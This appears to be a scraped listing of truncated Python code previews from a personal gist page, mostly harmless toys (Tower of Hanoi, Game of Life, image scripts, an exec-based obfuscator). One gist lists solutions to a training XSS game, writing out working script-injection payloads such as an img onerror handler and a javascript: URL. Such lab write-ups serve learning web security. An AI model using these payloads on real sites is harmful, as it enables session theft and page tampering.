This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import time | |
import os | |
class _Getch: | |
"""Gets a single character from standard input. Does not echo to the | |
screen.""" | |
def __init__(self): | |
try: | |
self.impl = _GetchWindows() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import itertools | |
no_of_disks = int(raw_input("No. of disks: ")) if len(sys.argv) < 2 else int(sys.argv[1]) | |
def disk_to_move(move_number): | |
diff = move_number ^ (move_number + 1) | |
return bin(diff)[2:].count("1") - 1 | |
def generate_move(disk_to_move, disk_states): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 8 characters: _ ~ + , ( ) [ ] and 1 function | |
# code.py is the original code | |
# obf.py is the obfuscated code | |
def _(s=None,a=0): | |
if isinstance(s, str): | |
try: | |
if a == 0: | |
exec(s) | |
elif a == 1: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def _(s=None,a=0): | |
if isinstance(s, str): | |
try: | |
if a == 0: | |
exec(s) | |
elif a == 1: | |
return eval(s) | |
except Exception as e: | |
return repr(e) | |
elif s == 0: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division | |
def gcd(a, b): | |
if a == 0: | |
return 1 | |
while b != 0: | |
t = b | |
b = a % b | |
a = t |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
size = 20 | |
#on = [(1,1),(1,2),(1,3)] #Blinker | |
#on = [(1,0),(2,1),(0,2),(1,2),(2,2)] #Glider | |
on = [(2,2),(3,2),(4,2),(5,2),(6,2),(7,2),(9,2),(10,2),(2,3),(3,3),(4,3),(5,3),(6,3),(7,3),(9,3),(10,3),(9,4),(10,4),(2,5),(3,5),(9,5),(10,5),(2,6),(3,6),(9,6),(10,6),(2,7),(3,7),(9,7),(10,7),(2,8),(3,8),(2,9),(3,9),(5,9),(6,9),(7,9),(8,9),(9,9),(10,9),(2,10),(3,10),(5,10),(6,10),(7,10),(8,10),(9,10),(10,10)] | |
#^ Galaxy | |
#on = [(24, 0), (22, 1), (24, 1), (12, 2), (13, 2), (20, 2), (21, 2), (34, 2), (35, 2), (11, 3), (15, 3), (20, 3), (21, 3), (34, 3), (35, 3), (0, 4), (1, 4), (10, 4), (16, 4), (20, 4), (21, 4), (0, 5), (1, 5), (10, 5), (14, 5), (16, 5), (17, 5), (22, 5), (24, 5), (10, 6), (16, 6), (24, 6), (11, 7), (15, 7), (12, 8), (13, 8)] | |
#^Glider gun, 60 iters (start at 60) | |
#on = [(random.randint(0,size),random.randint(0,size)) for _ in range(random.randint(1,size**2))] #Random |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Level 1: | |
set url to https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script> | |
Level 2: | |
post <img src="x" onerror="alert(1)" /> in message box | |
Level 3: | |
set url to https://xss-game.appspot.com/level3/frame#x' onerror='alert(1)' /> | |
Level 4: | |
set url to https://xss-game.appspot.com/level4/frame?timer=3');+alert(1);+// | |
Level 5: | |
set url to https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1) and click Next >> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from random import randrange | |
from PIL import Image | |
colortrans = [ | |
(255,0,0), | |
(255,127,0), | |
(255,255,0), | |
(127,255,0), | |
(0,255,0), | |
(0,255,127), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from math import floor as fl | |
from math import sqrt | |
from random import randint | |
def ctuple(z): | |
return z.real, z.imag | |
def floor(x): | |
if x < 0: | |
return -fl(-x) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
from PIL import Image | |
import sys | |
THRESH = int(sys.argv[2]) if len(sys.argv) > 2 else 200 | |
col = Image.open(sys.argv[1]) | |
col.thumbnail((128, 128), Image.ANTIALIAS) | |
w, h = col.size |